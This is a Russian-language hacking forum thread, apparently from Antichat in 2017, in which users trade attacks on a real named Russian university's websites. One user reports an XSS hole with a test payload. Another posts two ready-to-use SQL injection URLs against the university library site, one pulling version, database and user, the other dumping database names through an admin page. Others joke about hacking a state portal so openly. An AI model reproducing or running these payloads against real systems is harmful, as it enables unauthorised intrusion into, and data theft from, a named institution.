 |
01.04.2017, 10:33
|
|
Новичок
Регистрация: 26.02.2017
Сообщений: 8
С нами:
4848086
Репутация:
0
|
|
|
|
|
01.04.2017, 13:25
|
|
Постоянный
Регистрация: 17.03.2014
Сообщений: 530
С нами:
6398966
Репутация:
154
|
|
Я бы помог. Но мало того, что это .ru, это еще и гос сайт. с ' очевидно что скуля. А с хсской куча векторов но все они клиентские. От угона куков до хека тачки
|
|
|
|
05.04.2017, 00:39
|
|
Участник форума
Регистрация: 19.01.2016
Сообщений: 121
С нами:
5429846
Репутация:
12
|
|
[QUOTE="qwebdev"]
↑
Нашел на сайте
http://abc.vvsu.ru/
xss-уязвимость,
при вводе
">alert('xss')"alert('xss')" |
|
|
|
05.04.2017, 08:48
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Код:
http://lib.vvsu.ru/russian/index.php?id=61&id_exhibition=156+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6+--+
но это уже совсем другая история
Код:
http://lib.vvsu.ru//admin/news.asp?idyear=999999.9+union+all+select+null,null,null,(select+char(126)%2bchar(39)%2bname%2bchar(39)%2bchar(126)+from+master..sysdatabases+where+dbid=1),null,null,null,null--
а вот это твоя история |
|
|
|
05.04.2017, 16:20
|
|
Постоянный
Регистрация: 17.03.2014
Сообщений: 530
С нами:
6398966
Репутация:
154
|
|
Сообщение от Gorev
↑
Код:
http://lib.vvsu.ru/russian/index.php?id=61&id_exhibition=156+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6+--+
но это уже совсем другая история
Код:
http://lib.vvsu.ru//admin/news.asp?idyear=999999.9+union+all+select+null,null,null,(select+char(126)%2bchar(39)%2bname%2bchar(39)%2bchar(126)+from+master..sysdatabases+where+dbid=1),null,null,null,null--
а вот это твоя история
Да ВЫ бессмерты, Сударь. Хекать так спокойно гос портал, да ещё и рушный.
|
|
|
|
05.04.2017, 16:35
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от SooLFaa
↑
Да ВЫ бессмерты, Сударь. Хекать так спокойно гос портал, да ещё и рушный.
Отнюдь, милорд, я лишь указал направление, вектор так сказать...
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
